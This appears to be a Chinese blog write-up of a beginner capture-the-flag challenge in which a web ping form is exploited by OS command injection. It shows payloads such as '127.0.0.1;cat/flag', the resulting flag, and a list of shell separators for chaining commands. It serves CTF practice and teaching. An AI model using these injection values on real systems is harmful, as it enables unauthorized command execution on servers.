

BUUCTF [ACTF2020 新生赛]Exec

原创

[FY_13_14](#) 于 2022-01-05 19:46:28 发布 96 收藏

文章标签: [p2p fpga开发 link](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/FY_13_14/article/details/122330492

版权

1.刚打开的时候如图所示



PING

请输入需要ping的地址

PING

CSDN @FY_13_14

先随使用一个地址127.0.0.1

PING

127.0.0.1

PING

PING 127.0.0.1 (127.0.0.1): 56 data bytes CSDN @FY_13_14

2.然后查下目录127.0.0.1|ls ../../..|ls看文件目录

PING

```
127.0.0.1|ls .././|
```

PING

```
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

CSDN @FY_13_14

发现flag 直接抓127.0.0.1;cat/flag

PING

```
127.0.0.1;cat/flag
```

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag{fdc896b1-e032-4e87-846f-082e348e024f}
```

CSDN @FY_13_14

拿到flag

```
flag{fdc896b1-e032-4e87-846f-082e348e024f}
```

常见的管道符

1. | (就是按位或)，直接执行|后面的语句
2. || (就是逻辑或)，如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句
3. & (就是按位与)，&前面和后面命令都要执行，无论前面真假

4. `&&`（就是逻辑与），如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令
5. `;`（和`&`一样的作用）